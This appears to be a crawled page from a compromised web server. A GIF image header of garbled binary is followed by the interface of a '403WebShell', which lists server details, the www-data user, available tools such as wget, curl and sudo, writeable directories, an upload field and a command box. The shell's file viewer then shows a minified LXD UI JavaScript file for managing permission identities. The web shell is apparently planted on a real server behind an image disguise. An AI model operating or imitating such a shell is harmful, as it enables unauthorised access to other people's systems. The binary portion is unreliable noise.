GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 143.110.188.43  /  Your IP : 216.73.217.178
Web Server : Apache/2.4.57 (Ubuntu)
System : Linux Client-Droplet 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/lxd/41172/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/41172/share/lxd-ui/assets//PermissionIdentities-Dtah7RIl.js
import{j as e,d as n,cp as R,B as P,ct as Y,R as Ne,r as T,C as ve,s as _,cu as re,cv as z,cw as Ee,t as G,cx as le,aq as ce,cy as de,cz as ue,o as q,D as we,cA as ke,cB as Ge,cC as Le,b as Q,u as pe,cD as Pe,A as me,cE as ge,cF as Be,e as Fe,f as te,cG as se,h as De,I as w,cH as L,l as Ae,bV as ne,cI as Re,G as ie,_ as _e,cg as Me,v as he,w as fe,aI as xe,aA as oe,cJ as Oe,q as $e,aO as Ue}from"./index-H4PaR1Ay.js";import{u as D,a as W,p as X}from"./useEscCallback-zQN3vs8-.js";import{u as U,G as ye,L as je,S as He,A as Ve,Q as Ye,T as qe,P as Ke}from"./GroupOrIdentityChangesTable-CTugDHiQ.js";import{S as ze}from"./SelectableMainTable-DVpI1gAH.js";import{S as Xe}from"./SelectedTableNotification-BiyTngX2.js";import{u as Qe}from"./useSortTableData-Dpr3aigs.js";import{P as $}from"./PageHeader-B4TDXmgd.js";import{u as J}from"./useAuthGroups-DoXs8Br2.js";import{R as Z}from"./ResourceLabel-BMIFVwPY.js";import{R as We}from"./ResourceLink-uXW9L0Ar.js";import{a as Je,b as Ze,i as H}from"./identity-vaJmuAxa.js";import{G as ee}from"./GroupSelection-mPK2eNxX.js";import{C as et}from"./ConfirmationCheckbox-BIDRuxD0.js";import{G as Ie}from"./GroupSelectionActions-CoBQLO39.js";import{E as tt}from"./ExplanationTooltip-BtzkKEJm.js";import{u as st}from"./useEditHistory-DWscjFrh.js";import{B as nt}from"./BulkDeleteButton-B0G_6fsa.js";import{u as Se}from"./useIdentities-BSj8RxAb.js";import{B as it,F as V}from"./BackLink-Cuy7YFjT.js";import{N as ot}from"./NameWithGroupForm-DWuP0gZu.js";import{c as at}from"./cluster-links-BTdvtL8v.js";import{u as rt}from"./useConfigOptions-qesCQJVe.js";import{u as lt,g as ct}from"./SettingsRow-CAd9qs31.js";import{t as dt}from"./ConfigFieldDescription-BuOtqnNZ.js";import"./searchAndFilter-CpMRkW43.js";import"./PermissionGroupsFilter-aMoqtdI7.js";import"./useClusterMembers-7DaTUHV4.js";import"./cluster-members-LZARpnVy.js";import"./ClusterSpecificInput-DArs1UNJ.js";import"./ClusterMemberRichChip-D4mdkN-w.js";import"./RichTooltipTable-BK1fclsa.js";import"./ItemName-COo4SMvJ.js";import"./ClusterMemberStatus-B6uUiMQe.js";import"./ClusterMemberMemoryUsage-BybgBxEL.js";import"./Meter-Bmiz6lct.js";import"./resourceDetails-DtLpXei1.js";import"./ClusterSpecificSelect-I7q7WGPc.js";const ut=({identities:t,className:o,...i})=>{const{canEditIdentity:r}=U(),l=D(),d=t.length>1?`Modify groups for ${t.length} identities`:"Modify groups",c=t.filter(p=>!r(p)),u=()=>{const p=c.map(m=>`
- ${R(m)}`).join("");return`You do not have permission to modify ${c.length>1?"some of the selected":"the selected"} ${P("identity",c.length)}:${p}`};return e.jsx(e.Fragment,{children:e.jsxs(n.Button,{onClick:()=>{l.openIdentityGroups()},"aria-label":"Modify groups",title:c.length?u():"Modify groups",className:o,disabled:!!c.length||!t.length||!!l.panel,hasIcon:!0,...i,children:[e.jsx(n.Icon,{name:"user-group"}),e.jsx("span",{children:d})]})})},A=({identity:t,variant:o="link"})=>{const i=t.name?.trim(),r=i?`${i} (${t.type}, ${t.id})`:`${t.id} (${t.type})`;return o==="label"?e.jsx(Z,{type:Y(t.type),value:r,bold:!0,truncate:!0}):e.jsx(We,{type:Y(t.type),value:r,to:`${Ne}/ui/permissions/identities`})},pt=({identity:t,groups:o,canEdit:i,onChange:r})=>{const l=t?.id??"",[d,c]=T.useState(null);T.useEffect(()=>{if(!t){c(null);return}const x=new Set(t.groups??[]);c(x),r({currentGroups:x,addedGroups:new Set,removedGroups:new Set},new Set)},[l]);const u=new Set(t?.groups??[]),p=d??u,m=x=>{const f=new Set;for(const N of o){const E=x.has(N.name),s=u.has(N.name);E!==s&&f.add(N.name)}const a=new Set(Array.from(f).filter(N=>x.has(N))),S=new Set(Array.from(f).filter(N=>!x.has(N)));return{modifiedGroups:f,changes:{currentGroups:x,addedGroups:a,removedGroups:S}}},{modifiedGroups:j}=m(p),h=x=>{c(x);const{changes:f,modifiedGroups:a}=m(x);r(f,a)},y=x=>{if(!i)return;const f=new Set(p);f.has(x)?f.delete(x):f.add(x),h(f)},g=(x,f)=>{i&&h(f?new Set:new Set(x))};return e.jsx(e.Fragment,{children:t&&e.jsxs(e.Fragment,{children:[e.jsx("label",{htmlFor:"group-selection-table",children:"Auth groups"}),e.jsx(ee,{groups:o,modifiedGroups:j,parentItemName:"identity",parentItems:[t],selectedGroups:p,setSelectedGroups:g,toggleGroup:y,scrollDependencies:[o,j.size,t],disabled:!i,hasScrollableTable:!1})]})})},be=({onClose:t,token:o,identity:i,title:r,notification:l,howToUseCli:d,howToUseUi:c,titleSuffix:u="created successfully"})=>{const[p,m]=T.useState(!1),[j,h]=T.useState("ui-tab");return e.jsx(n.Modal,{className:"identity-token-modal",title:e.jsxs(e.Fragment,{children:["Identity"," ",e.jsx(Z,{type:Y(i.identityType),value:i.name,bold:!0,truncate:!0})," ",u]}),buttonRow:[e.jsx(et,{label:"I have copied the token",confirmed:[p,m]},"confirm-checkbox"),e.jsx(n.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",onClick:t,disabled:!p,children:"Done"},"confirm-action-button")],closeOnOutsideClick:!1,children:o&&e.jsxs(e.Fragment,{children:[e.jsx(ve,{code:o,title:r,tooltipMessage:"Copy token",onCopyButtonClick:()=>{m(!0)}}),e.jsx(n.Notification,{severity:"caution",title:l,children:"Make sure to copy it now as you will not be able to see this again."}),e.jsx(n.Accordion,{sections:[{title:"How to use it?",content:d&&c?e.jsxs(e.Fragment,{children:[e.jsx(n.Tabs,{links:[{label:"CLI",active:j==="cli-tab",onClick:()=>{h("cli-tab")}},{label:"UI",active:j==="ui-tab",onClick:()=>{h("ui-tab")}}]}),j==="cli-tab"&&d,j==="ui-tab"&&c]}):d}]})]})})},Ce=({isCustomExpiry:t,expiry:o,disabled:i=!1,error:r,onIsCustomExpiryChange:l,onExpiryChange:d,onExpiryBlur:c})=>{const u=T.useId();return e.jsxs("div",{className:"token-expiry-selector u-sv1",children:[e.jsx("label",{id:`${u}-label`,children:"Token expiry"}),e.jsx(n.RadioInput,{label:"Default (10 years)",checked:!t,disabled:i,onChange:()=>{l(!1)}}),e.jsxs("div",{className:"token-expiry-custom",children:[e.jsx(n.RadioInput,{label:"Custom",checked:t,disabled:i,onChange:()=>{l(!0)}}),e.jsx(n.Input,{type:"text",id:u,value:t?o:"",error:t?r:void 0,onChange:p=>{d(p.target.value)},onBlur:c,placeholder:"e.g. 1d 3H 5M",disabled:i||!t,help:e.jsxs(e.Fragment,{children:["Space-separated durations: ","<number><unit>"," ",e.jsx("br",{}),"Units are case-sensitive: y, m, w, d, H, M, S"]})}),e.jsx("label",{htmlFor:u,className:"u-off-screen",children:"Token expiry value"})]})]})},mt=({canEdit:t,onClick:o})=>e.jsxs(n.Button,{type:"button",appearance:"base",disabled:!t,title:t?void 0:"You do not have permission to issue a new token for this identity",className:"u-no-margin--bottom",onClick:o,hasIcon:!0,children:[e.jsx(n.Icon,{name:"restart"}),e.jsx("span",{children:"Issue new token"})]}),gt=({identity:t,canEdit:o})=>{const i=n.useNotify(),r=_(),[l,d]=T.useState(!1),[c,u]=T.useState(""),[p,m]=T.useState(),[j,h]=T.useState(!1),[y,g]=T.useState(!1),[x,f]=T.useState(""),a={name:R(t),groups:t.groups??[],identityType:t.type,expiry:t.expires_at||""},S=re[a.identityType],N=c.trim(),E=!l||!!N&&le.test(N),s=v=>{d(v),v||u(""),m(void 0)},C=()=>{m(l&&!E?z:void 0)},I=()=>{h(!1),d(!1),u(""),m(void 0)},k=()=>{if(!E){m(z);return}g(!0),Ee(R(t),l?N:"").then(v=>{r.invalidateQueries({queryKey:[G.identities]}),h(!1),f(v.token),d(!1),u(""),m(void 0)}).catch(v=>{i.failure("Token issue failed",v)}).finally(()=>{g(!1)})},b=()=>{f("")};return e.jsxs(e.Fragment,{children:[e.jsx(mt,{canEdit:o,onClick:()=>{h(!0)}}),j&&e.jsxs(n.ConfirmationModal,{title:"Issue new token",confirmButtonLabel:"Issue new token",confirmButtonAppearance:"positive",onConfirm:k,close:I,confirmButtonLoading:y,className:"permission-confirm-modal",confirmButtonDisabled:l&&!c,confirmButtonProps:{title:l&&!c?"Please provide a valid expiry date":void 0},children:[e.jsxs("p",{children:["This will invalidate the current token for"," ",e.jsx(A,{identity:t,variant:"label"})," and issue a new one. Existing integrations using the previous token will stop working until they are updated with the new token."]}),e.jsx(Ce,{isCustomExpiry:l,expiry:c,error:p,onIsCustomExpiryChange:s,onExpiryChange:v=>{u(v),p&&m(void 0)},onExpiryBlur:C})]}),x&&S&&e.jsx(be,{onClose:b,token:x,identity:a,title:S.codeSnippetTitle,notification:S.notification,howToUseCli:S.howToUseCli?.(x),howToUseUi:S.howToUseUi,titleSuffix:"token issued successfully"})]})},ht=({canEdit:t,groups:o,identity:i,onGroupChanges:r})=>{const l=Je(i.type);return e.jsxs(e.Fragment,{children:[e.jsx(n.OutputField,{id:"identity-name",label:"Name",value:R(i)}),e.jsx(n.OutputField,{id:"identity-id",label:"ID",value:i.id}),e.jsx(n.OutputField,{id:"identity-type",label:"Type",value:i.type}),l&&e.jsxs("div",{className:"u-flex u-gap--small",children:[e.jsx(n.OutputField,{id:"identity-expires-at",label:"Expires at",value:ce(i.expires_at??"")||"No active token"}),e.jsx("div",{className:"issue-token-button-wrapper",children:e.jsx(gt,{identity:i,canEdit:t})})]}),e.jsx(pt,{identity:i,groups:o,canEdit:t,onChange:r})]})},K=({children:t})=>e.jsx(tt,{explanation:"Identities represent users, service accounts, and API keys.",docPath:"/explanation/authorization",docLabel:"Learn more about authorization",children:t}),ft=({identity:t,onClose:o})=>{const i=D(),r=n.useNotify(),l=n.useToastNotification(),d=_(),{canEditIdentity:c}=U(),{data:u=[],error:p,isLoading:m}=J();T.useEffect(()=>{p&&r.failure("Loading panel details failed",p)},[p]);const[j,h]=T.useState(!1),[y,g]=T.useState(null),[x,f]=T.useState(!1),[a,S]=T.useState(null),[N,E]=T.useState(new Set),s=()=>{i.clear(),r.clear(),g(null),S(null),E(new Set),o()};W(s);const C=c(t),I=y?.addedGroups??new Set,k=y?.removedGroups??new Set,b=de([t],I,k),v=ue(b),B=()=>{h(!1),g(null)},F=()=>{if(!y){r.failure("Update groups failed",new Error("No pending group changes are available"));return}f(!0),we({...t,groups:Array.from(y.currentGroups)}).then(()=>{d.invalidateQueries({predicate:O=>[G.identities,G.authGroups,G.currentIdentity].includes(O.queryKey[0])}),l.success(e.jsxs(e.Fragment,{children:["Updated groups for"," ",e.jsx(A,{identity:t,variant:"label"}),"."]})),s()}).catch(O=>{r.failure("Update groups failed",O)}).finally(()=>{f(!1)})},M=()=>{a&&(g(a),h(!0))};return e.jsxs(e.Fragment,{children:[e.jsxs(n.SidePanel,{className:"edit-identity-panel",children:[e.jsx(n.SidePanel.Header,{children:e.jsx(n.SidePanel.HeaderTitle,{children:e.jsx(K,{children:"Edit identity"})})}),e.jsx(q,{className:"u-no-padding"}),e.jsx(n.SidePanel.Content,{className:"u-no-padding",children:e.jsx(n.ScrollableContainer,{dependencies:[r.notification,t,u,N.size],belowIds:["panel-footer"],children:e.jsx(ht,{canEdit:C,groups:u,identity:t,onGroupChanges:(O,Te)=>{S(O),E(Te)}})})}),e.jsx(n.SidePanel.Footer,{className:"u-align--right",children:e.jsx("div",{id:"panel-footer",children:e.jsx(Ie,{modifiedGroups:N,closePanel:s,onSubmit:M,disabled:N.size===0||!C||m||!!p})})})]}),j&&y&&e.jsx(n.ConfirmationModal,{title:"Confirm modification",confirmButtonLabel:"Confirm changes",confirmButtonAppearance:"positive",onConfirm:F,close:B,confirmButtonLoading:x,className:"permission-confirm-modal",children:e.jsx(ye,{identityGroupsChangeSummary:b,groupIdentitiesChangeSummary:v,identities:[t],initialGroupBy:"identity"})})]})},xt=({onConfirm:t,close:o,addedGroups:i,removedGroups:r,selectedIdentities:l})=>{const[d,c]=T.useState(!1),u=n.useNotify(),p=D(),m=_(),j=n.useToastNotification(),h=de(l,i,r),y=ue(h),g=()=>{c(!0);const x=ke(i,r,l),f=l.map(a=>({...a,groups:x[a.id]}));Ge(f).then(()=>{m.invalidateQueries({predicate:I=>[G.identities,G.authGroups,G.currentIdentity].includes(I.queryKey[0])});const a=Object.keys(h),S=a.length>1,[N,E]=Object.entries(h)[0]||[],s=l.find(I=>I.id===N),C=S?`Updated groups for ${a.length} identities.`:e.jsxs(e.Fragment,{children:["Updated groups for"," ",s?e.jsx(A,{identity:s}):E?.name?.trim()||N,"."]});j.success(C),p.clear(),u.clear()}).catch(a=>{u.failure("Update groups failed",a)}).finally(()=>{c(!1),t()})};return e.jsx(n.ConfirmationModal,{confirmButtonLabel:"Confirm changes",confirmButtonAppearance:"positive",onConfirm:g,close:o,title:"Confirm modification",className:"permission-confirm-modal",confirmButtonLoading:d,children:e.jsx(ye,{identityGroupsChangeSummary:h,groupIdentitiesChangeSummary:y,identities:l,initialGroupBy:"identity"})})},yt=({identities:t,onClose:o})=>{const i=D(),r=n.useNotify(),[l,d]=T.useState(!1),{data:c=[],error:u,isLoading:p}=J(),{desiredState:m,save:j,undo:h}=st({initialState:{groupsAdded:new Set,groupsRemoved:new Set}});u&&r.failure("Loading panel details failed",u),T.useEffect(()=>{if(!t.length){i.clear();return}},[t]);const{groupsForAllIdentities:y,groupsForSomeIdentities:g,groupsForNoIdentities:x}=Le(c,t),f=new Set(m.groupsAdded);for(const b of y)m.groupsRemoved.has(b)||f.add(b);const a=new Set(g.filter(b=>!f.has(b)&&!m.groupsRemoved.has(b))),S=()=>{const b=new Set;for(const v of y)f.has(v)||b.add(v);for(const v of g)a.has(v)||b.add(v);for(const v of x)f.has(v)&&b.add(v);return b},N=(b,v)=>{j(v?{groupsAdded:new Set,groupsRemoved:new Set(c.map(B=>B.name))}:{groupsAdded:new Set(b),groupsRemoved:new Set})},E=b=>{const v=f.has(b),B=a.has(b),F=new Set(m.groupsAdded),M=new Set(m.groupsRemoved);v||B?(F.delete(b),M.add(b)):(F.add(b),M.delete(b)),j({groupsAdded:F,groupsRemoved:M})},s=()=>{i.clear(),r.clear(),d(!1),o()};W(s);const C=()=>{r.clear(),d(!1)},I=S(),k=t.length>1?`Change auth groups for ${t.length} identities`:`Change auth groups for ${t[0]?.name}`;return e.jsxs(e.Fragment,{children:[e.jsxs(n.SidePanel,{loading:p,hasError:!c,children:[e.jsx(n.SidePanel.Header,{children:e.jsx(n.SidePanel.HeaderTitle,{className:"u-truncate",children:e.jsx(K,{children:k})})}),e.jsx(q,{className:"u-no-padding"}),e.jsx(n.SidePanel.Content,{className:"u-no-padding",children:e.jsx(ee,{groups:c,modifiedGroups:I,parentItemName:"identity",parentItems:t,selectedGroups:f,setSelectedGroups:N,indeterminateGroups:a,toggleGroup:E,scrollDependencies:[I.size,r.notification]})}),e.jsx(n.SidePanel.Footer,{className:"u-align--right",children:e.jsx(Ie,{modifiedGroups:I,undoChange:h,closePanel:s,onSubmit:()=>{d(!0)},disabled:I.size===0,isEdit:!0})})]}),l&&e.jsx(xt,{close:C,onConfirm:C,selectedIdentities:t,addedGroups:m.groupsAdded,removedGroups:m.groupsRemoved})]})},jt=({identities:t})=>{const o=_(),i=n.useNotify(),r=n.useToastNotification(),l=`Delete ${P("identity",t.length)}`,[d,c]=T.useState(!1),{canDeleteIdentity:u}=U(),{data:p}=Q(),{authMethod:m}=pe(),j=p?.auth_user_name??"",h=t.some(a=>a.id===j),y=[],g=[];t.forEach(a=>{u(a)?g.push(a):y.push(a)});const x=()=>{c(!0);const a=`${g.length} ${P("identity",g.length)} successfully deleted`;Pe(g).then(()=>{if(h&&m===me.OIDC){ge();return}o.invalidateQueries({predicate:S=>[G.identities,G.authGroups,G.settings].includes(S.queryKey[0])}),r.success(a),c(!1)}).catch(S=>{i.failure("Identity deletion failed",S),c(!1)})},f=()=>{if(y.length)return[`${g.length} ${P("identity",g.length)} will be deleted.`,`${y.length} ${P("identity",y.length)} that you do not have permission to delete will be ignored.`]};return e.jsx(nt,{entities:t,deletableEntities:g,entityType:"identity",onDelete:x,disabledReason:g.length?void 0:`You do not have permission to delete the selected ${P("identity",t.length)}`,className:"u-no-margin--bottom",confirmationButtonProps:{loading:d},buttonLabel:l,bulkDeleteBreakdown:f(),modalContentPrefix:e.jsx(je,{isVisible:h})})},It=({identity:t})=>{const o=_(),i=n.useNotify(),r=n.useToastNotification(),[l,d]=T.useState(!1),{canDeleteIdentity:c}=U(),{data:u}=Q(),{authMethod:p}=pe(),m=u?.auth_user_name??"",j=t.id===m,h=()=>{d(!0),Be(t).then(()=>{if(j&&p===me.OIDC){ge();return}o.invalidateQueries({predicate:y=>[G.identities,G.authGroups,G.settings].includes(y.queryKey[0])}),r.success(e.jsxs(e.Fragment,{children:["Identity ",e.jsx(A,{identity:t,variant:"label"})," ","deleted."]})),d(!1),close()}).catch(y=>{d(!1),i.failure("Identity deletion failed",y,e.jsx(A,{identity:t,variant:"label"}))})};return e.jsx(n.ConfirmationButton,{onHoverText:c(t)?"Delete identity":"You do not have permission to delete this identity",appearance:"base","aria-label":"Delete identity",className:"has-icon u-no-margin--bottom is-dense",confirmationModalProps:{title:"Confirm delete",children:e.jsxs(e.Fragment,{children:[e.jsx(je,{isVisible:j}),e.jsxs("p",{children:["This will permanently delete identity"," ",e.jsx(A,{identity:t,variant:"label"}),".",e.jsx("br",{}),"This action cannot be undone, and can result in data loss."]})]}),confirmButtonLabel:"Delete",onConfirm:h},shiftClickEnabled:!0,showShiftClickHint:!0,loading:l,disabled:!c(t)||l,children:e.jsx(n.Icon,{name:"delete"})})},St=({onSuccess:t})=>{const o=D(),i=n.useNotify(),[r,l]=T.useState("typeSelection"),{data:d=[],error:c,isLoading:u}=J(),{data:p=[]}=Se();c&&i.failure("Loading details failed",c);const m=(s,C)=>{C?a.setFieldValue("groups",[]):a.setFieldValue("groups",s)},j=()=>{o.clear(),i.clear()};W(()=>{r==="typeSelection"?j():l("typeSelection")});const 